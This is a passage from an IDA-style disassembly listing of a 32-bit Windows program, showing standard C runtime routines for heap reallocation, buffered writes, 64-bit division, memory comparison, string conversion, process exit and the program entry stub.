		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41742F
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41740F
		mov	eax, esi


loc_41740F:				; CODE XREF: sub_41737F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_4153F0
		push	ebx
		call	sub_418CBD
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_418CE8
		add	esp, 18h


loc_41742B:				; CODE XREF: sub_41737F+74j
		test	edi, edi
		jnz	short loc_417472


loc_41742F:				; CODE XREF: sub_41737F+62j
					; sub_41737F+81j
		test	esi, esi
		jnz	short loc_417436
		push	1
		pop	esi


loc_417436:				; CODE XREF: sub_41737F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_46CCA4
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_417472
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41745E
		mov	eax, esi


loc_41745E:				; CODE XREF: sub_41737F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_4153F0
		push	[ebp+arg_0]
		push	ebx
		call	sub_418CE8
		add	esp, 14h


loc_417472:				; CODE XREF: sub_41737F+AEj
					; sub_41737F+D0j
		test	ebx, ebx
		jnz	short loc_417497


loc_417476:				; CODE XREF: sub_41737F+56j
		test	esi, esi
		jnz	short loc_41747D
		push	1
		pop	esi


loc_41747D:				; CODE XREF: sub_41737F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_46CCA4
		call	dword_421160	; RtlReAllocateHeap
		mov	edi, eax


loc_417497:				; CODE XREF: sub_41737F+F5j
		test	edi, edi
		jnz	short loc_4174B8


loc_41749B:				; CODE XREF: sub_41737F+43j
		cmp	dword_46B694, 0
		jz	short loc_4174B8
		push	esi
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jnz	loc_4173BD
		jmp	loc_417618
; ---------------------------------------------------------------------------


loc_4174B8:				; CODE XREF: sub_41737F+11Aj
					; sub_41737F+123j ...
		mov	eax, edi
		jmp	loc_41761A
; ---------------------------------------------------------------------------


loc_4174BF:				; CODE XREF: sub_41737F+38j
		cmp	eax, 2
		jnz	loc_4175DA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4174DC
		test	esi, esi
		jbe	short loc_4174D9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4174DC
; ---------------------------------------------------------------------------


loc_4174D9:				; CODE XREF: sub_41737F+150j
		push	10h
		pop	esi


loc_4174DC:				; CODE XREF: sub_41737F+14Cj
					; sub_41737F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4175BC
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_419A18
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_4175A0
		cmp	esi, dword_43A164
		jnb	short loc_417564
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419DE0
		add	esp, 10h
		test	eax, eax
		jz	short loc_41752A
		mov	edi, [ebp+arg_0]
		jmp	short loc_41755C
; ---------------------------------------------------------------------------


loc_41752A:				; CODE XREF: sub_41737F+1A4j
		push	edi
		call	sub_419AB4
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417564
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_417543
		mov	eax, esi


loc_417543:				; CODE XREF: sub_41737F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_4153F0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419A6F
		add	esp, 18h


loc_41755C:				; CODE XREF: sub_41737F+1A9j
		test	edi, edi
		jnz	loc_4174B8


loc_417564:				; CODE XREF: sub_41737F+18Bj
					; sub_41737F+1B6j
		push	esi
		push	0
		push	dword_46CCA4
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4175BC
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_417585
		mov	eax, esi


loc_417585:				; CODE XREF: sub_41737F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_4153F0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419A6F
		add	esp, 18h
		jmp	short loc_4175B4
; ---------------------------------------------------------------------------


loc_4175A0:				; CODE XREF: sub_41737F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_46CCA4
		call	dword_421160	; RtlReAllocateHeap
		mov	edi, eax


loc_4175B4:				; CODE XREF: sub_41737F+21Fj
		test	edi, edi
		jnz	loc_4174B8


loc_4175BC:				; CODE XREF: sub_41737F+162j
					; sub_41737F+1F8j
		cmp	dword_46B694, 0
		jz	loc_4174B8
		push	esi
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jnz	loc_4174DC
		jmp	short loc_417618
; ---------------------------------------------------------------------------


loc_4175DA:				; CODE XREF: sub_41737F+143j
					; sub_41737F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_417604
		test	esi, esi
		jnz	short loc_4175E8
		push	1
		pop	esi


loc_4175E8:				; CODE XREF: sub_41737F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_46CCA4
		call	dword_421160	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41761A


loc_417604:				; CODE XREF: sub_41737F+260j
		cmp	dword_46B694, 0
		jz	short loc_41761A
		push	esi
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jnz	short loc_4175DA


loc_417618:				; CODE XREF: sub_41737F+2Bj
					; sub_41737F+134j ...
		xor	eax, eax


loc_41761A:				; CODE XREF: sub_41737F+16j
					; sub_41737F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41737F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761F	proc near		; CODE XREF: sub_40B9BC+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_417643
		xor	eax, eax
		jmp	loc_417710
; ---------------------------------------------------------------------------


loc_417643:				; CODE XREF: sub_41761F+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417656
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41765D
; ---------------------------------------------------------------------------


loc_417656:				; CODE XREF: sub_41761F+2Dj
		mov	[ebp+arg_C], 1000h


loc_41765D:				; CODE XREF: sub_41761F+35j
					; sub_41761F+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417691
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417691
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417677
		mov	edi, eax


loc_417677:				; CODE XREF: sub_41761F+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4153F0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4176D7
; ---------------------------------------------------------------------------


loc_417691:				; CODE XREF: sub_41761F+47j
					; sub_41761F+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4176DC
		test	ecx, ecx
		jz	short loc_4176A5
		push	esi
		call	sub_418704
		test	eax, eax
		pop	ecx
		jnz	short loc_41771E


loc_4176A5:				; CODE XREF: sub_41761F+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_4176B8
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_4176BA
; ---------------------------------------------------------------------------


loc_4176B8:				; CODE XREF: sub_41761F+8Aj
		mov	edi, ebx


loc_4176BA:				; CODE XREF: sub_41761F+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41CCC7
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417715
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_417715


loc_4176D7:				; CODE XREF: sub_41761F+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_417705
; ---------------------------------------------------------------------------


loc_4176DC:				; CODE XREF: sub_41761F+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417C57
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41771E
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_417705
		mov	[ebp+arg_C], 1


loc_417705:				; CODE XREF: sub_41761F+BBj
					; sub_41761F+DDj
		test	ebx, ebx
		jnz	loc_41765D
		mov	eax, [ebp+arg_8]


loc_417710:				; CODE XREF: sub_41761F+1Fj
					; sub_41761F+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417715:				; CODE XREF: sub_41761F+ADj
					; sub_41761F+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_417720
; ---------------------------------------------------------------------------


loc_41771E:				; CODE XREF: sub_41761F+84j
					; sub_41761F+CFj
		mov	eax, edi


loc_417720:				; CODE XREF: sub_41761F+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_417710
sub_41761F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417729	proc near		; CODE XREF: sub_40C0F3+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417749
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41CE74
		pop	ecx


loc_417745:				; CODE XREF: sub_417729+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417749:				; CODE XREF: sub_417729+Dj
		test	al, 1
		jz	short loc_41776A
		test	[esp+arg_4], 2
		jz	short loc_41776A
		mov	dword_46B634, 0Dh
		mov	dword_46B638, 5
		jmp	short loc_417745
; ---------------------------------------------------------------------------


loc_41776A:				; CODE XREF: sub_417729+22j
					; sub_417729+29j
		xor	eax, eax
		retn
sub_417729	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_40C21C+5Fp
					; sub_40C21C+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417791
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417791:				; CODE XREF: sub_417770+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4177AD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_4177AD:				; CODE XREF: sub_417770+27j
		or	eax, eax
		jnz	short loc_4177C9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41780A
; ---------------------------------------------------------------------------


loc_4177C9:				; CODE XREF: sub_417770+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4177D7:				; CODE XREF: sub_417770+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4177D7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_417805
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_417805
		jb	short loc_417806
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_417806


loc_417805:				; CODE XREF: sub_417770+85j
					; sub_417770+8Bj
		dec	esi


loc_417806:				; CODE XREF: sub_417770+8Dj
					; sub_417770+93j
		xor	edx, edx
		mov	eax, esi


loc_41780A:				; CODE XREF: sub_417770+57j
		dec	edi
		jnz	short loc_417814
		neg	edx
		neg	eax
		sbb	edx, 0


loc_417814:				; CODE XREF: sub_417770+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417770	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781A	proc near		; CODE XREF: seg001:00417BABp
		mov	eax, off_437EEC
		test	eax, eax
		jz	short loc_417825
		call	eax ; sub_415DD3


loc_417825:				; CODE XREF: sub_41781A+7j
		push	offset dword_423028
		push	offset dword_423014
		call	sub_417902
		push	offset dword_423010
		push	offset dword_423000
		call	sub_417902
		add	esp, 10h
		retn
sub_41781A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417847	proc near		; CODE XREF: seg001:00417BEAp

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417869
		add	esp, 0Ch
		retn
sub_417847	endp


; =============== S U B	R O U T	I N E =======================================



sub_417858	proc near		; CODE XREF: seg001:00417C09p
					; sub_417C0E+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417869
		add	esp, 0Ch
		retn
sub_417858	endp


; =============== S U B	R O U T	I N E =======================================



sub_417869	proc near		; CODE XREF: sub_417847+8p
					; sub_417858+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_46B67C, edi
		jnz	short loc_417886
		push	[esp+4+arg_0]
		call	dword_421104	; GetCurrentProcess
		push	eax
		call	dword_421140	; TerminateProcess


loc_417886:				; CODE XREF: sub_417869+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_46B678, edi
		mov	byte_46B674, bl
		jnz	short loc_4178DA
		mov	eax, dword_46CCBC
		test	eax, eax
		jz	short loc_4178C9
		mov	ecx, dword_46CCB8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4178C8


loc_4178B5:				; CODE XREF: sub_417869+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178BD
		call	eax


loc_4178BD:				; CODE XREF: sub_417869+50j
		sub	esi, 4
		cmp	esi, dword_46CCBC
		jnb	short loc_4178B5


loc_4178C8:				; CODE XREF: sub_417869+4Aj
		pop	esi


loc_4178C9:				; CODE XREF: sub_417869+3Cj
		push	offset dword_423034
		push	offset dword_42302C
		call	sub_417902
		pop	ecx
		pop	ecx


loc_4178DA:				; CODE XREF: sub_417869+33j
		push	offset dword_423040
		push	offset dword_423038
		call	sub_417902
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_417900
		push	[esp+4+arg_0]
		mov	dword_46B67C, edi
		call	dword_421114	; ExitProcess


loc_417900:				; CODE XREF: sub_417869+85j
		pop	edi
		retn
sub_417869	endp


; =============== S U B	R O U T	I N E =======================================



sub_417902	proc near		; CODE XREF: sub_41781A+15p
					; sub_41781A+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_417907:				; CODE XREF: sub_417902+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41791A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_417915
		call	eax


loc_417915:				; CODE XREF: sub_417902+Fj
		add	esi, 4
		jmp	short loc_417907
; ---------------------------------------------------------------------------


loc_41791A:				; CODE XREF: sub_417902+9j
		pop	esi
		retn
sub_417902	endp


; =============== S U B	R O U T	I N E =======================================



sub_41791C	proc near		; CODE XREF: sub_40CD3A+29D7p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_421118	; DeleteFileA
		test	eax, eax
		jnz	short loc_417932
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_417934
; ---------------------------------------------------------------------------


loc_417932:				; CODE XREF: sub_41791C+Cj
		xor	eax, eax


loc_417934:				; CODE XREF: sub_41791C+14j
		test	eax, eax
		jz	short loc_417943
		push	eax
		call	sub_41CE74
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417943:				; CODE XREF: sub_41791C+1Aj
		xor	eax, eax
		retn
sub_41791C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417950	proc near		; CODE XREF: sub_4129E5+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41799C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41799D
		test	eax, 1
		jz	short loc_41797D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_4179CA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41799A


loc_41797D:				; CODE XREF: sub_417950+20j
					; sub_417950+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_4179CA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_4179CA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41797D


loc_41799A:				; CODE XREF: sub_417950+2Bj
					; sub_417950+84j
		pop	edi
		pop	esi

locret_41799C:				; CODE XREF: sub_417950+6j
		retn
; ---------------------------------------------------------------------------


loc_41799D:				; CODE XREF: sub_417950+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_4179D2
		repe cmpsd
		jz	short loc_4179D2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_4179C5
		cmp	ch, dh
		jnz	short loc_4179C5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_4179C5
		cmp	ch, dh


loc_4179C5:				; CODE XREF: sub_417950+63j
					; sub_417950+67j ...
		mov	eax, 0


loc_4179CA:				; CODE XREF: sub_417950+26j
					; sub_417950+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4179D2:				; CODE XREF: sub_417950+55j
					; sub_417950+59j
		test	eax, eax
		jz	short loc_41799A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_4179C5
		dec	eax
		jz	short loc_4179F9
		cmp	dh, ch
		jnz	short loc_4179C5
		dec	eax
		jz	short loc_4179F9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_4179C5
		dec	eax


loc_4179F9:				; CODE XREF: sub_417950+8Fj
					; sub_417950+96j
		pop	edi
		pop	esi
		retn
sub_417950	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179FC	proc near		; CODE XREF: sub_413B27+55p
					; sub_414500+238p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_417A13


loc_417A09:				; CODE XREF: sub_4179FC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_417A09


loc_417A13:				; CODE XREF: sub_4179FC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4179FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A19	proc near		; CODE XREF: sub_413B27+19p
					; sub_413B27+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417AE6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417B13
		cmp	dword_46B6CC, esi
		jnz	short loc_417A6A
		cmp	edi, esi
		jbe	loc_417B13


loc_417A49:				; CODE XREF: sub_417A19+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417B13
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417A49
		jmp	loc_417B13
; ---------------------------------------------------------------------------


loc_417A6A:				; CODE XREF: sub_417A19+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_421064
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_46B6DC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417B12
		call	dword_421088	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417AA4


loc_417A95:				; CODE XREF: sub_417A19+CBj
					; sub_417A19+F7j
		mov	dword_46B634, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417B13
; ---------------------------------------------------------------------------


loc_417AA4:				; CODE XREF: sub_417A19+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417AAC:				; CODE XREF: sub_417A19+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417ACE
		mov	edx, off_437F20
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417AC3
		inc	eax


loc_417AC3:				; CODE XREF: sub_417A19+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417AAC


loc_417ACE:				; CODE XREF: sub_417A19+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_46B6DC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417B13
		jmp	short loc_417A95
; ---------------------------------------------------------------------------


loc_417AE6:				; CODE XREF: sub_417A19+Fj
		cmp	dword_46B6CC, esi
		jnz	short loc_417AF9
		push	[ebp+arg_4]
		call	sub_415B10
		pop	ecx
		jmp	short loc_417B13
; ---------------------------------------------------------------------------


loc_417AF9:				; CODE XREF: sub_417A19+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_46B6DC
		call	dword_421064	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417A95


loc_417B12:				; CODE XREF: sub_417A19+6Bj
		dec	eax


loc_417B13:				; CODE XREF: sub_417A19+1Aj
					; sub_417A19+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417A19	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421678
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_42116C	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_46B64C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_46B648, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_46B644, ecx
		shr	eax, 10h
		mov	dword_46B640, eax
		xor	esi, esi
		push	esi
		call	sub_418C18
		pop	ecx
		test	eax, eax
		jnz	short loc_417B84
		push	1Ch
		call	sub_417C33
		pop	ecx


loc_417B84:				; CODE XREF: seg001:00417B7Aj
		mov	[ebp-4], esi
		call	sub_41D4EF
		call	dword_421168	; GetCommandLineA
		mov	dword_46CCAC, eax
		call	sub_41D3BD
		mov	dword_46B680, eax
		call	sub_41D170
		call	sub_41D0B7
		call	sub_41781A
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_421164	; GetStartupInfoA
		call	sub_41D05F
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_417BD1
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_417BD4
; ---------------------------------------------------------------------------


loc_417BD1:				; CODE XREF: seg001:00417BC9j
		push	0Ah
		pop	eax


loc_417BD4:				; CODE XREF: seg001:00417BCFj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	sub_40C574
		mov	[ebp-60h], eax
		push	eax
		call	sub_417847
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41CEDB
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417858

; =============== S U B	R O U T	I N E =======================================



sub_417C0E	proc near		; CODE XREF: sub_4166E2+16p
					; sub_41D0B7+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_46B688, 1
		jnz	short loc_417C1C
		call	sub_41D77C


loc_417C1C:				; CODE XREF: sub_417C0E+7j
		push	[esp+arg_0]
		call	sub_41D7B5
		push	0FFh
		call	off_437F10
		pop	ecx
		pop	ecx
		retn
sub_417C0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C33	proc near		; CODE XREF: seg001:00417B7Ep

arg_0		= dword	ptr  4

		cmp	dword_46B688, 1
		jnz	short loc_417C41
		call	sub_41D77C


loc_417C41:				; CODE XREF: sub_417C33+7j
		push	[esp+arg_0]
		call	sub_41D7B5
		pop	ecx
		push	0FFh
		call	dword_421114	; ExitProcess
		retn
sub_417C33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C57	proc near		; CODE XREF: sub_415316+46p
					; sub_41588A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417D60
		test	al, 40h
		jnz	loc_417D60
		test	al, 1
		jz	short loc_417C8F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417D60
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_417C8F:				; CODE XREF: sub_417C57+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417CC9
		cmp	esi, offset dword_43A658
		jz	short loc_417CB7
		cmp	esi, offset dword_43A678
		jnz	short loc_417CC2


loc_417CB7:				; CODE XREF: sub_417C57+56j
		push	ebx
		call	sub_41D94C
		test	eax, eax
		pop	ecx
		jnz	short loc_417CC9


loc_417CC2:				; CODE XREF: sub_417C57+5Ej
		push	esi
		call	sub_41D908
		pop	ecx


loc_417CC9:				; CODE XREF: sub_417C57+4Ej
					; sub_417C57+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417D36
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417CF9
		push	edi
		push	eax
		push	ebx
		call	sub_41CCC7
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417D2C
; ---------------------------------------------------------------------------


loc_417CF9:				; CODE XREF: sub_417C57+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417D14
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46C960[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417D19
; ---------------------------------------------------------------------------


loc_417D14:				; CODE XREF: sub_417C57+A5j
		mov	eax, offset dword_43A5A0


loc_417D19:				; CODE XREF: sub_417C57+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417D2C
		push	2
		push	0
		push	ebx
		call	sub_41C447
		add	esp, 0Ch


loc_417D2C:				; CODE XREF: sub_417C57+A0j
					; sub_417C57+C6j
		mov	eax, [esi+8]
